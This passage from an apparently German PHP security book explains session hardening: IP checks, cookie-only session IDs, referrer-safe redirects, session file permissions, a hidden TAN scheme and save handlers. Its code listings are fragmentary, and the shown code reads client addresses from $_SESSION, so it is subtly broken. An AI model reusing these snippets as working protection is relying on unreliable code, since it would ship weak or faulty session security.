Ein transparenter Proxy ist also relativ unproblematisch für einen IP-Vergleich. Einschränkungen für Benutzer können allerdings von einem anonymen Proxy ausgehen, sofern für den gleichen Client nicht immer derselbe Wert in $_SESSION["HTTP_X_FORWARDED_FOR"] abgelegt wird, denn dann wird bei unterschiedlichen Werten die Session immer als ungültig gewertet, sofern die Prüfung den Zugriff auf diese Sitzung aufgrund unterschiedlicher Daten verweigert. Richtig problematisch wird es allerdings, wenn ein anonymer Proxy seine eigene IP-Adresse in $_SESSION["HTTP_X_FORWARDED_FOR"] ablegt oder ein hochanonymer Proxy zum Einsatz kommt. In diesen Fällen ist es möglich, dass verschiedene Benutzer gegenüber dem Webserver die gleiche Identität besitzen und somit auch alle auf die Sessions der jeweils anderen Benutzer zugreifen können. Es gibt allerdings auch keine zuverlässige Möglichkeit, dieser Misere zu begegnen; alle Daten, die vom Client an den Webserver übermittelt werden (etwa der UserAgent), sind entweder nicht eindeutig oder es ist schlicht nicht sichergestellt, dass diese Daten auch vom Proxy durchgeleitet werden.
155
Kapitel 5 Sessions
Es bleibt also in jedem Fall ein Risiko bestehen, jedoch sollte zur Grundsicherung eine Überprüfung des Clients, der die Session anfragt, integriert werden. In CodeForm kann dies etwa so aussehen: 0) { if((isset($_SESSION["HTTP_X_FORWARDED_FOR"]) && $_SESSION["HTTP_X_FORWARDED_FOR"] != $_SESSION["client_ip"]) || (!isset($_SESSION["HTTP_X_FORWARDED_FOR"]) && $_SESSION["REMOTE_ADDR"] != $_SESSION["client_ip"])) { session_write_close(); header("Location: /sessionerror.php"); exit(0); } return; } generateNewSessionID(); if(isset($_SESSION["HTTP_X_FORWARDED_FOR"])) $_SESSION["client_ip"] = $_SESSION["HTTP_X_FORWARDED_FOR"]; else $_SESSION["client_ip"] = $_SESSION["REMOTE_ADDR"]; $_SESSION["timestamps"] = array(); $_SESSION["timestamps"]["start"] = time(); $_SESSION["timestamps"]["modification"] = time(); } ?>
Listing 5.2:
Überprüfung der Client-IP-Adresse
Ein Skript sollte die Funktion startSession() benutzen und auf einen eigenen session_start()-Aufruf verzichten. Sofern eine Session mit gespeicherten Daten vorhanden ist (dies lässt sich an der Anzahl der Elemente des $_SESSIONArrays erkennen), wird diese verwendet und vorher geprüft, ob es sich um den selben Client handelt, unter dem auch die Session bereits angelegt wurde. Ist der aktu-
156
5.4 Session-Umgebung sichern
elle Client mit der gespeicherten IP nicht identisch, wird die Session geschlossen und auf eine Fehlerseite umgeleitet. Ist die Session neu, so werden die notwendigen Daten wie etwa die Client-IP und der Startzeitpunkt vermerkt – dadurch ist es etwa möglich, eine absolute Gültigkeitsdauer unabhängig von erfolgten Änderungen durchzusetzen.
5.4.2 Ausschließlich Cookies verwenden Die Session-ID kann auf mehreren Wegen zum Client übertragen und dort zwischengespeichert werden. Die ID kann entweder per URL (respektive GET), per POST oder als Cookie übertragen werden. Die POST-Übertragung lässt sich natürlich nur dort verwenden, wo generell auch eine Übermittlung per POST möglich ist, also in HTML-Formularen – handelt es sich lediglich um einfache Links (…), scheidet diese Variante aus; in diesen Fällen kann die ID entweder an die URL angehängt oder in einem Cookie übertragen werden. Die Übermittlung innerhalb der URL birgt allerdings gewisse Gefahren: Zum Einen kann so eine Session-ID nicht nur in ein Lesezeichen (Bookmark) übernommen werden, sondern möglicherweise auch noch – ob absichtlich oder nicht – mit anderen Benutzern »geteilt« werden. Selbst wenn die Session etwa durch IP-Vergleiche (siehe Abschnitt 5.4.1 Clientüberprüfung auf Seite 154) gesichert wird, ist es etwa bei der Verwendung des gleichen Proxys durchaus möglich, dass ein Benutzer Zugriff auf die Session des anderen erlangen und somit Daten ausspionieren kann. Die Weitergabe wird mit den Cookies so gut wie verhindert (ein Angreifer, der Zugriff auf den Client hat, kann die Session-ID, die in einem Cookie gespeichert wurde, in Erfahrung bringen), jedoch muss der Benutzer das Speichern von Cookies zumindest für die aktuelle Domain erlauben, damit dieses System überhaupt funktioniert. Einige Seiten setzen dies einfach voraus, jedoch möchte nicht jeder Benutzer Cookies erlauben oder kann diese Option des Browsers verändern (bei Unternehmensrechnern ist es nicht unüblich, dass der einzelne Benutzer diese Einstellungen nicht ändern kann). Da Cookies jedoch die sicherste Variante der Übertragung sind, gibt es in PHP die Möglichkeit, Session-IDs nur als Cookies zu übermitteln, es werden dann weder Links innerhalb von HTML-Quelltext angepasst, noch wird eine ID per GET oder POST akzeptiert. Um ausschließlich die Cookie-Übertragung zuzulassen, sollte session.use_only_cookies aktiviert und session.use_trans_sid deaktiviert werden. Möchten Sie dennoch die Übertragung in einer URL oder als POST-Parameter alternativ zu einem Cookie erlauben, um auch mit Benutzern agieren zu können, die die CookieAnnahme deaktiviert haben, so sollten die Optionen session.use_cookies und session.use_trans_sid aktiviert werden. In dieser Konfiguration wird PHP erst
157
Kapitel 5 Sessions
versuchen, die Session-ID in einem Cookie zu speichern und daraus wieder zu lesen, schlägt dies fehl, wird die ID auf einem anderen Weg übertragen. In Verbindung mit Cookies sollte ebenfalls die Gültigkeit des Cookies selbst beachtet werden, da diese ganz unabhängig von der Gültigkeit und Existenz der Session ist. Die Standardeinstellung von session.cookie_lifetime(0) dürfte dabei den meisten Fällen genügen, da das Cookie dann nach dem Beenden des Browsers automatisch gelöscht werden soll.
5.4.3 Session-ID aus dem Referrer entfernen Werden die URLs um die Session-ID ergänzt (ist also session.use_trans_sid in der php.ini aktiviert), so muss bei Links zu externen Seiten darauf geachtet werden, dass die Session korrekt verlassen wird, bevor der Browser zur verlinkten Seite wechselt, da die Herkunftsseite jedem Webserver über einen sogenannten Referrer mitgeteilt wird. War dies eine PHP-Seite, erhält somit der »neue« Webserver die komplette URL inklusive einer Session-ID und kann so möglicherweise auf diese Sitzung zugreifen (oder vielmehr jemand, der Einblick in die Protokolldateien dieses Webservers hat). Am besten ist es, wenn die Umleitung auf externe Seiten über ein eigenes Skript erfolgt, dass selbst kein session_start() ausführt, um einer ID innerhalb der URL zu entgehen (die ID wird nur dann an URLs angefügt, wenn eine Session durch das aktuelle Skript verwendet wurde, unabhängig davon, ob eine ID übermittelt wurde). Allerdings birgt dies ein paar kleinere, weitere Probleme: Dieses Skript muss natürlich ebenfalls wissen, zu welcher Seite es umleiten soll. Wird die jeweilige URL direkt als Parameter übergeben, könnten Spammer dieses Skript für eigene Umleitungen missbrauchen. Praktikabler ist es, wenn für jede externe URL ein Eintrag in einer Datenbank oder einer anderen Datenquelle (bei wenigen Verweisen, die nicht oft geändert werden, ist beispielsweise auch eine XML-Datei denkbar) angelegt und nur die ID an das Umleitungsskript übergeben wird. So wird verhindert, dass mit diesem Skript blind auf beliebige Seiten geleitet werden kann. Im folgenden Beispiel erfolgt der Aufruf mit der direkten Übergabe der URL, diese Methode soll lediglich das Beispiel vereinfachen: Externer Link! …
158
5.4 Session-Umgebung sichern
Die deref.php sieht dabei etwa so aus:
Sofern das Array $_REQUEST über einen Eintrag target verfügt – target also als Parameter übergeben wurde – leitet das Skript auf die darin enthaltene URL um. Ein solches Skript ist sehr verbreitet, da der Referrer der neuen, externen Seite nun keine Session-ID mehr aufweist und somit die Situation des Session-Hijackings entschärft wird.
5.4.4 Zugriff auf Session-Dateien Wird der Standard-Save-Handler von PHP verwendet, werden alle Sessions in Dateien auf dem Serversystem zwischengespeichert. In der Standardkonfiguration erfolgt dabei die Speicherung in das temporäre Verzeichnis des Systems. Diese Speicherung ist relativ unsicher, da sie unter den Rechten des betriebenen Webservers erfolgt. Zwar wird unter Unix-Derivaten der Zugriff von PHP lediglich auf den Besitzer eingeschränkt (Benutzer der gleichen Gruppe oder gar andere Benutzer haben auf diese Dateien keinerlei Zugriff). Das Verzeichnis ist jedoch etwas ungünstig: In der Standardkonfiguration wird dieses Verzeichnis auch für die Zwischenspeicherung hochgeladener Dateien genutzt, in einer durch open_basedir gesicherten Umgebung muss dieses Verzeichnis durch die Verwendung von PHP freigeschaltet werden – was bedeutet, dass jeder Entwickler Zugriff auf diese Session-Dateien hat und sie auslesen kann. Zur Absicherung sollten also beide Verzeichnisse voneinander getrennt werden, etwa indem verschiedene Unterverzeichnisse verwendet werden und die php.ini entsprechend angepasst wird: session.save_path = /tmp/session upload_tmp_dir = /tmp/uploads
Eine open_basedir-Anweisung sollte nun nur /tmp/uploads als Eintrag enthalten. Allerdings ist es nicht unbedingt erforderlich, dass ein Angreifer die Daten einer Session ausliest, indem er Zugriff auf die jeweilige Session-ID hat – meist reicht es aus, wenn er die Session-IDs in Erfahrung bringt, indem er Einblick in das Verzeichnislisting erhält. Dafür sollten auch die Zugriffsrechte des Session-Verzeichnisses nur auf den jeweiligen Webserver-Benutzer (etwa www) beschränkt werden
159
Kapitel 5 Sessions
(chmod 600); somit erhält auch ein lokaler Serverbenutzer keine Auflistung der enthaltenen Dateien mehr und kann auf diesem Weg nicht mehr auf aktive Sitzungen schließen. Besonders in Shared-hosting-Umgebungen, wenn also kein eigener Server für eine Webanwendung eingesetzt wird und sich der Server der eigenen Kontrolle entzieht (da es sich beispielsweise um einen Server eines Hosters handelt), sollten die Session-Dateien in ein eigenes Verzeichnis gespeichert werden. Der Wert von session.save_path kann über eine .htaccess-Datei (sofern dies vom Webserver erlaubt wird) über die Anweisung php_value verändert werden: php_value session.save_path /home/webuser/abc.net/sessions
Dazu muss allerdings – wie bei allen Pfaden, die innerhalb einer .htaccess-Datei angegeben werden – der absolute Pfad bekannt sein.
5.4.5 TAN-System Ähnlich wie bei Banken kann man bestimmte kritische Aktionen innerhalb von Webanwendungen, die mit Sessions arbeiten, mit einer TAN absichern, wobei im Gegensatz zum Online-Banking der Endanwender nichts von dieser zusätzlichen Absicherung mitbekommt. Dies mag im ersten Moment etwas sinnlos klingen, doch hat es durchaus seinen Zweck. Innerhalb einer Session wird eine Reihe von zufälligen TANs erzeugt und zwischengespeichert. Fordert der Client nun eine Seite an, die etwa eine bestimmte, kritische Operation ausführen soll (etwa eine Zahlung), wird der jeweilige Link um eine TAN aus dieser Liste erweitert. Beim Aufruf dieses Links muss die Webanwendung nun prüfen, ob die übermittelte TAN gültig und noch unverwendet ist und diese aus der Liste entfernen. Hat ein Angreifer zwischenzeitlich Session-ID und TAN in Besitz gebracht, kann er somit nur begrenzten Schaden anrichten: Wurde die Aktion bereits vom Benutzer selbst ausgeführt, ist die TAN bereits ungültig, und der Angreifer kann keine schädliche Aktion mehr initiieren. Wurde die TAN noch nicht verwendet, so kann der Angreifer lediglich einmal die Session für seine Zwecke verwenden, im Gegensatz zum freien Handeln innerhalb einer Sitzung ist dies ein deutlicher Fortschritt. Die TANs sollten dabei natürlich zufällig vergeben worden sein, damit auch hier ein Erraten unmöglich ist. Zusätzlich sollten natürlich noch weitere Sicherungsmaßnahmen für die Speicherung der Sitzung auf dem Server getroffen werden (siehe Abschnitt 5.4.4 Zugriff auf Session-Dateien auf Seite 159), denn eine Liste von TANs nützt nichts, wenn sie von einem Dritten über den Umweg der Session-Datei in Erfahrung gebracht werden kann. Solch ein System erfordert zudem, dass ausreichend viele TANs vorgehalten und, falls sie zur Neige gehen, auch wieder nachträglich erzeugt werden.
160
5.4 Session-Umgebung sichern
Sind mehrere Links auf einer Seite angebracht, sollten nach Möglichkeit alle die gleiche TAN erhalten, damit ein Angreifer möglichst wenig Angriffsfläche erhält (hat er etwa drei TANs in Erfahrung gebracht, ist es schon recht wahrscheinlich, dass mindestens eine noch nicht verwendet wurde und durch ihn für seine Zwecke missbraucht werden kann). Um dieses System noch weiter abzusichern, sollte eine Session, die mit einer falschen TAN »konfrontiert« wird, sofort gelöscht werden. Dies verringert zwar den Komfort für den Anwender, erhöht jedoch die Sicherheit seiner Daten. Außerdem kann die TAN auch noch zeitlich begrenzt werden, so kann die Session etwa die eigenen TANs auf 10 Minuten Gültigkeit begrenzen. Ist eine TAN älter, wird die Aktion nicht durchgeführt und die Session ebenfalls zerstört. Um TANs zu generieren, kann etwa folgender Code verwendet werden: $no, "status" => 0); $phonetics[] = metaphone($no); } } shuffle($_SESSION["TAN"]); }
function initSession() {
161
Kapitel 5 Sessions
session_start(); generateTANs(false); } ?>
Listing 5.3:
TAN-Erzeugung
Die Funktion initSession() sollte anstelle eines session_start() aufgerufen werden, da dies die Funktion erledigt (es muss für diese Funktion schlichtweg generell garantiert sein, dass es eine aktive Sitzung gibt, da nur dann Daten im $_SESSION-Array abgelegt werden können). Sofern das $_SESSION-Array über keinen Index TAN verfügt, oder das Array dahinter weniger als 10 Elemente aufweist, werden 100 TANs erzeugt und in $_SESSION["TAN"] abgespeichert. Der Algorithmus hinter der Erzeugung der Daten basiert dabei auf der aktuellen Zeit und einer Zufallszahl. Diese Daten werden auf verschiedene Weise kombiniert und mit verschiedenen Hash-Funktionen – md5() und sha1() – entfremdet. Der so erhaltene String wird dann mit strrev() »umgedreht« und darauf nochmals ein md5()-Hash erzeugt. Da jedoch diese so erzeugten TANs auf der aktuellen Zeit basieren, ist es sogar sehr wahrscheinlich, dass 100 fast zeitgleich erzeugte Daten relativ ähnlich, wenn nicht sogar teilweise gleich sind. Aus diesem Grund kommt hier ein zweites Array ins Spiel: $phonetics. Dort wird für jeden tatsächlich übernommenen Wert der metaphone()-Code abgelegt. Diese Funktion erzeugt dabei eine Zeichenkette, die das Klangbild eines Strings repräsentiert (ähnlich wie soundex(), jedoch ist metaphone() detaillierter). Wird nun eine TAN erzeugt und das Klangbild ist bereits in $phonetics vorhanden – es existiert also bereits eine sehr ähnliche, wenn nicht sogar die gleiche TAN – so wird erneut eine TAN erzeugt. Dieses Verfahren benötigt im Schnitt etwa 140 Durchgänge für 100 gültige TANs (dies bedeutet, dass in 40 Fällen ähnliche oder doppelte TANs erzeugt wurden). Da alle TANs stark vom Faktor Zeit abhängen, wird dies mit einer zufälligen Wartezeit zwischen 2 und 75 Mikrosekunden »entschärft« (dazu dient der usleep()-Aufruf). Im Array der TANs wird noch jede TAN mit einem Status versehen. Zwei Stati sind zulässig: 쐽 0: TAN wurde erzeugt und noch nicht verwendet 쐽 1:
TAN wurde erzeugt und bereits in einen Link integriert, aber noch nicht »eingelöst«
Sobald eine TAN verwendet – also über einen Link eingeliefert – wurde, wird sie aus dem Array gelöscht. Um die TANs besser verwenden zu können, empfiehlt sich die Verwendung einer Funktion statt eines Direktzugriffs auf das $_SESSION["TAN"]-Array:
162
5.4 Session-Umgebung sichern
Listing 5.4:
Eine TAN für einen Link erhalten
Diese Funktion prüft zuerst, ob überhaupt TANs erzeugt wurden und ob eine noch nicht verwendete TAN existiert – ist dies nicht der Fall, wird generateTANs() aufgerufen. Sofern keine unbenutzte TAN vorhanden ist, wird die Erzeugung mit dem $force-Parameter von generateTANs() erzwungen. Abschließend gibt die Funktion eine TAN zurück. HTML-Code, der TAN-gesicherte Links verwendet, sieht etwa so aus: TAN-Test
Nun müssen übergebene TANs noch auf Gültigkeit geprüft werden. Dabei sollten ausschließlich TANs zugelassen werden, die in der aktiven TAN-Liste vorhanden sind und die einen Status von 1 aufweisen. Der Status 0 deutet darauf hin, dass diese TAN noch nicht ausgeliefert wurde – eine so klassifizierte TAN sollte keinesfalls eingelöst werden dürfen, da dies darauf hindeutet, dass sie erraten oder ausspioniert wurde. Eine solche Funktion finden Sie in den folgenden Zeilen:
Listing 5.6:
TAN-Überprüfung
Das im Beispiel-HTML-Code verlinkte script.php könnte mit der Prüfung der gelieferten TAN etwa so aussehen:
164
Da es für einen ständig laufenden Betrieb notwendig ist, Sessions auf dem Server zwischenzuspeichern, damit die Daten sowohl über einen Neustart des Webservers als auch über verschiedene Instanzen und Threads des Webservers hinweg zur Verfügung stehen, bietet PHP bereits eine integrierte Möglichkeit der Speicherung: den file-Save-Handler. Dabei werden die Daten serialisiert innerhalb von Dateien auf dem Server gespeichert. Diese Möglichkeit steht auf jedem System zur Verfügung, auf dem ein Webserver mit PHP betrieben werden kann. PHP bietet selbst bereits eine alternative Möglichkeit zur Speicherung der Sessions und erlaubt es auch, eigene Funktionen zur Speicherung zu verwenden. Die Konfiguration muss dafür geändert werden, session.save_handler innerhalb der php.ini kann deshalb einen von drei Werten annehmen: 쐽 files – Speicherung in Dateien (Standardeinstellung) 쐽 mm – Benutzung des Shared Memory 쐽 user – Benutzerdefinierte Funktionen
5.5.1
files
Diese Standardeinstellung speichert die Sessions in Dateien auf der lokalen Festplatte; dabei wird das Verzeichnis abhängig von der Konfigurationsoption session.save_path gewählt. Die Dateien enthalten dabei die Session-ID und das Präfix sess_ (z.B. sess_0d4ef667893aa219004a). Als Standardverzeichnis wird dabei das temporäre Verzeichnis des Betriebssystems verwendet (unter Linux ist dies meist /tmp, unter Windows XP ist dies meist das Verzeichnis Lokale Anwendungsdaten\Temp unterhalb des Benutzerprofils). Um jedoch Problemen zu entgehen, die auf zu vielen Dateien innerhalb eines Verzeichnisses basieren, kann auch eine Verzeichnisstruktur für die Speicherung ver-
165
Kapitel 5 Sessions
wendet werden. Dieses Problem kann beispielsweise unter Windows auftreten: Existieren mehr als 5.000 Dateien in einem einzelnen Verzeichnis und man versucht dieses mit dem Windows-Datei-Explorer zu öffnen, so kann dies zu einer 100%-igen CPU-Auslastung und einem Absturz des Explorers oder gar des Windowskernsystems führen. Für andere Betriebssysteme gibt es möglicherweise auf Dateisystemebene eine Beschränkung der Dateianzahl, die in einem Verzeichnis gespeichert werden darf. Um hier jedoch nicht an die Grenzen zu gehen und so eventuell Daten zu verlieren, kann mit einer Zahl im session.save_path-Pfad eine Unterverzeichnisstruktur durch PHP verwendet werden. session.save_path = "5;/tmp"
Wichtig Bei der Verwendung der Verzeichnistiefe sollte der Parameterwert unbedingt von doppelten Anführungszeichen umgeben sein, da PHP sonst alle Daten jenseits des Semikolons als Kommentar wertet. Dabei werden fünf Unterverzeichnisse (die jeweils einem Zeichen der Session-ID entsprechen) verwendet. Eine Session mit der ID 4be1384ad74619bd212e236e52a5a174If wird somit unter /tmp/4/b/e/1/3/sess_4be1384ad74619bd212e236e52a5a174If gespeichert. Diese Methode ist zwar für die Umgehung der Dateisystemeinschränkungen eine große Hilfe, birgt aber dennoch wieder Risiken. Die Unterverzeichnisstruktur wird von PHP nicht angelegt, dies muss man vor der Verwendung selbst tun. Für Unix-Derivate stellt PHP dazu bereits ein Shell-Skript zur Verfügung: Es findet sich in der Quelldistribution unterhalb von ext/session/ mod_files.sh. Es erwartet als Parameter lediglich das zu verwendende Basisverzeichnis und die zu nutzende Tiefe: ./mod_files.sh /tmp 5
Dabei werden für jedes Zeichen alle Unterverzeichnisse angelegt, die möglich sind. Für andere Betriebssysteme können Sie alternativ den C-Quellcode (mod_files.c) kompilieren und verwenden. Allerdings hat diese Methode einen gehörigen Nachteil: Das Aufräumen von veralteten Sessions (Garbage Collection) wird außer Gefecht gesetzt, sobald für den Zähler eine Zahl größer 0 verwendet wird (also sobald von diesem Feature Gebrauch gemacht wird). Sessions werden also schlichtweg nicht mehr gelöscht, unabhängig von der Gültigkeitsdauer. Eine so immer noch vorhandene Sitzung kann immer wieder aufgenommen werden. Sind keine zusätzlichen Sicherungsmaßnahmen ergriffen worden (siehe z.B. Abschnitt 5.4.1 Clientüberprüfung auf Seite 154), kann dies zur Folge haben, dass Sessions früher oder später zweckentfremdet werden:
166
5.5 Speicherung
Ein Angreifer hat genug Zeit, um irgendwann einmal eine Session-ID zu erraten, da diese »ewig« bestehen. Um dieses Problem zu lösen, muss ein eigenes Skript her, das regelmäßig aufgerufen wird und veraltete Session-Dateien löscht (dabei sollte man sich immer auf das letzte Änderungsdatum der Datei beziehen und den Wert, der auch session.gc_maxlifetime zugewiesen wurde, hinzuaddieren).
5.5.2
mm
Mit mm ist es möglich, die Sessions innerhalb des gemeinsam genutzten Speicherbereichs und über alle Webserverprozesse hinweg zu speichern (so genanntes shared memory). Da hierbei nicht auf ein Speichermedium zugegriffen wird, ist dieses Verfahren bei vielen gleichzeitig aktiv genutzten Sessions um einiges schneller. Um dieses Feature nutzen zu können, muss die Erweiterung mm (http:// www.ossp.org/pkg/lib/mm/) heruntergeladen und installiert werden; PHP muss mit der Option –with-mm konfiguriert und kompiliert werden.
Hinweis Unter Windows steht diese Funktionalität nicht zur Verfügung! Die restliche Konfiguration ist auch denkbar einfach: session.save_handler = mm muss in der php.ini notiert werden, weitere Änderungen sind nicht notwendig. Natürlich ist dieses Verfahren auch nicht ganz ohne Makel: Es können sich zwar keine Probleme mit Zugriffen durch fremde Prozesse oder Anwender ergeben, jedoch kann jedes Programm, das mit diesem mm-Modul umgehen kann, auch auf die Session-Informationen zugreifen, da es keine expliziten Schutzmechanismen gibt. Zudem kommt erschwerend hinzu, dass mm nicht auf jedem System garantieren kann, dass die Sitzungen vor gleichzeitigem Zugriff geschützt werden. Theoretisch sind also gleichzeitige Zugriffe auf die gleiche Session möglich, was wiederum zu Inkonsistenzen führen kann. Der gemeinsam genutzte Speicherbereich ist auch mit einem Neustart des Webservers hinfällig, zudem kann der Arbeitsspeicher die Grenze sein – ein Webserver mit vielen Session-basierten Zugriffen sollte bei der Verwendung des shared-memory-Modells also mit ausreichend RAM ausgestattet sein, damit es bei der Erstellung von Sitzungen nicht zu Fehlern kommt. Beachtet man vor allem das Problem des möglichen gleichzeitigen Zugriffs, kann es eine bessere Lösung sein, auf das file-Modell zurückzugreifen und etwa ein speichergestütztes Dateisystem (unter Linux etwa tempfs) zu nutzen, das zwar auch bei einem Neustart des gesamten Systems gelöscht wird, bei dem allerdings eine Sperre während eines aktiven Zugriffs gewährleistet ist.
167
Kapitel 5 Sessions
5.5.3
user
Dieser Wert wird nie direkt in der php.ini zugewiesen, eine Zeile session .save_handler = user wird also in keiner funktionierenden php.ini-Datei zu finden sein. Dennoch ist diese Einstellung das Mächtigste, was PHP bei der Speicherung von Sessions zu bieten hat. Wie der Name schon sagt, werden dabei benutzerspezifische Routinen für das Session-Management verwendet. Wohin die Speicherung erfolgt, ist dabei natürlich dem Benutzer überlassen: Datenbank, XML-Dateien, verschlüsselte Binärdateien, Netzwerkserver, FTP-Server. Da die Realisierung dem Programmierer überlassen ist, ist auch alles denkbar. Man könnte beispielsweise auch auf die Idee kommen, mit bestimmten SessionIDs per Programmcode bereits feste Werte (etwa Berechtigungen) zu verknüpfen; obwohl dies natürlich verlockend ist, sollte man unbedingt davon Abstand nehmen – erfährt ein Dritter von solchen »fixierten« Sessions, ist dies natürlich die Sicherheitslücke schlechthin. Diese Methode hat natürlich auch einen Haken: Die Sicherheit hängt selbstverständlich vollkommen am Benutzer; werden nun Dateien aus Sessions entwendet, indem auf das Speicherungsmedium zugegriffen wird, lässt sich nun nicht mehr argumentieren, dass dies an der Flexibilität und an Entwicklungskompromissen der PHP-Entwickler liegt; mit eigener Implementierung der Session-Verwaltung sollte man sein primäres Augenmerk auf die Sicherheit der Daten und des Zugriffs legen. Allerdings eines vorweg: Die absolute Sicherheit wird es bei dieser Technik auch nie geben – was in der Natur der Sache liegt. Alle benutzerdefinierten Funktionen zum Speichern, Laden und Zerstören der Sitzungsdaten müssen über die session_set_save_handler() angemeldet werden; dies kann allerdings nur skriptbezogen erfolgen. Es ist nicht möglich, dies zentral über die php.ini zu tun. Eine Lösung wäre natürlich auch hier auto_prepend_file und .htaccess (bzw. andere Methoden, die der Webserver zur Verfügung stellt und mit denen PHPCode jeder anderen PHP-Datei vor der Interpretierung durch PHP selbst vorangestellt werden kann): php_value auto_prepend_file /home/webuser/testserver.net/common/sessions.php
Diese PHP-Datei müsste nun die Funktionen selbst implementieren und zudem diese Funktionen mittels session_set_save_handler() auch anmelden. Doch noch einmal kurz zurück zur Sicherheit: Die Daten sind nun nur so sicher wie die Umgebung; wer immer auf diese Datei zugreifen kann, der erhält beispielsweise auch Einblick in das Datenbankpasswort oder den Verschlüsselungsalgorithmus. Der Zugriff sollte also auf jeden Fall so eingedämmt werden, dass die Datei von außen nicht ungeparst einsehbar ist (siehe Abschnitt 3.5.1 Ungeparste Dateiendung auf Seite 67) und sie auch von anderen Webanwendungen nicht verwendet werden kann. Dies kann erreicht werden, indem beispielsweise open_basedir verwendet wird, um den Zugriffsbereich eines Skriptes einzuschränken.
168
5.5 Speicherung
Insgesamt könnten sechs benutzerdefinierte Funktionen angemeldet werden: 쐽 open($save_path, $session_name):
Dient zum Öffnen des Session-Managements. Als $save_path wird der aktuelle Wert der Option session.save _path übergeben; das Skript kann sich diesen Wert zwischenspeichern, sofern er für die weitere Bearbeitung eine Rolle spielt. session.save_path ist dabei insofern nützlich, da dieser Wert ungeprüft an die open()-Funktion übergeben wird, bei einer implementierten Datenbank-
speicherung könnten darin also beispielsweise die Verbindungsdaten übermittelt werden. Der Parameter $session_name entspricht keineswegs der Session-ID, sondern dem Wert aus session.session_name; es handelt sich also um den Namen der Variablen, in der die Session-ID im Allgemeinen übermittelt wird. In der Standardeinstellung ist dies PHPSESSID – das Skript kann diesen Wert verwenden, sofern er eine Relevanz für die Implementierung hat. Diese Funktion sollte bei Erfolg true zurückliefern. 쐽 close():
Diese Funktion wird aufgerufen, nachdem die Session gespeichert oder zerstört wurde und das Skript verlassen wird. Hier kann beispielsweise eine durch open() geöffnete Datenbankverbindung geschlossen werden.
Diese Funktion sollte bei Erfolg true zurückliefern. 쐽 read($id):
Soll die Daten der angegebenen Session als serialisierten String zurückliefern. Diese Funktion sollte immer einen String zurückliefern. Gibt es keine Daten, sollte eine leere Zeichenkette übermittelt werden.
쐽 write($id, $sess_data):
Wird aufgerufen, sobald die Sessiondaten gespeichert werden sollen, also entweder, wenn ein Skript mit einer aktiven Session verlassen oder die Funktion session_write_close() aufgerufen wird. Bei $sess_data handelt es sich bereits um die serialisierten Daten.
Diese Funktion sollte bei Erfolg true zurückliefern. Die write()-Methode birgt übrigens auch eine Gefahr: Sie wird erst nach Abschluss der Ausgabe aufgerufen, wodurch Fehlermeldungen innerhalb der write()-Funktion sinnlos werden, da der Benutzer diese nicht sehen kann. Ist es notwendig, Fehlermeldungen durch diese Funktion ausgeben zu lassen (was für den Webmaster durchaus die Fehlersuche erleichtern kann), dann sollten diese Meldungen in eine Datei ausgegeben werden. Nahezu ideal ist es dabei, das Systemprotokoll zu verwenden. Für diese Protokollierung stellt PHP die Funktionen openlog(), syslog() und closelog() bereit. Da jedoch auch andere Benutzer Zugriff auf diese Informationssammlung haben können – etwa andere legitime Benutzer des Servers – sollten die Meldungen nicht zu detailliert sein, also etwa keine Passwörter enthalten.
169
Kapitel 5 Sessions 쐽 destroy($id):
Dieser Aufruf soll die angegebene Session löschen; dabei soll keine Prüfung mehr auf die Gültigkeit erfolgen. destroy() ist eine Folge eines session_destroy()-Aufrufs. Diese Funktion sollte bei Erfolg true zurückliefern.
쐽 gc($maxlifetime):
Dieser Aufruf soll über alle gespeicherten Sitzungen iterieren und auf ihren letzten Änderungs- oder Aktualisierungszeitpunkt (dies ist der Implementierung freigestellt) $maxlifetime aufschlagen. $maxlifetime ist dabei eine Sekundenangabe; liegt diese Zeitsumme in der Vergangenheit soll die Session gelöscht werden. Diese Funktion sollte bei Erfolg true zurückliefern.
Bei der eigenen Implementierung dieser Funktionen gibt es allerdings ein paar wenige Kleinigkeiten, die man unbedingt beachten sollte. read() wird auch für neue Sitzungen aufgerufen, es ist also keinesfalls möglich,
das Skript abzubrechen, sofern die übergebene Session-ID nicht auf dem Speichermedium (also beispielsweise in der Datenbank) vorhanden ist. Denkbar hingegen ist der Abbruch mit die(), sofern die Session-ID nicht erwartete Sonderzeichen enthält, denn dann muss befürchtet werden, dass versucht wird, das Session-System zu manipulieren – ein totaler Skriptabbruch ist dann die sicherste Variante. Die gc()-Funktion wird aufgerufen, um alte Session-Daten zu bereinigen, also um Ressourcen freizugeben und möglichst wenige sensitive Daten zu speichern. Allerdings wird gc() nicht immer aufgerufen, da das Löschen vor allem auf einem intensiv benutzten Webserver sehr ressourcenintensiv sein kann. Zuerst wird diese Bereinigung nicht nach dem Beenden oder gar der Zerstörung der aktuellen Session aufgerufen; vielmehr wird die Funktion vor dem Starten einer Session (also einem read()) gestartet. Dabei wird dieser Durchlauf nicht mit jeder Session-Initiierung durchgeführt, denn das würde wieder zu Lasten der Rechenzeit gehen. Da jedoch gc() einen Durchlauf über alle Sessions durchführt, reicht ein gelegentlicher Aufruf. Dabei ist gelegentlich nicht mit regelmäßig zu verwechseln, denn das würde einen Angriffspunkt erzeugen: Ist offensichtlich, dass regelmäßig nach 100 neu erzeugten Sessions eine Bereinigung stattfindet, so kann ein Angreifer dies ausnutzen, um die Leistungsfähigkeit des Webservers zu beeinträchtigen, indem er viele Anfragen an den Server stellt, die alle eine Session erzeugen und danach auf Clientseite wieder verworfen werden. Auch wenn dabei nicht direkt Daten entwendet werden, kann bei einer Überlastung des Webservers durchaus finanzieller Schaden entstehen, etwa weil über einen Webshop keine Verkäufe mehr getätigt werden können. Der Aufrufzeitpunkt von gc() ist von den beiden Optionen session.gc_probability und session.gc_divisor abhängig. Die Wahrscheinlichkeit der Garbage Collection wird dabei mittels der Formel session.gc_probability / session.gc_divisor errechnet, aufgrund der Standardwerte ergibt sich somit eine Formel 1/100 und somit eine Wahrscheinlichkeit 170
5.5 Speicherung
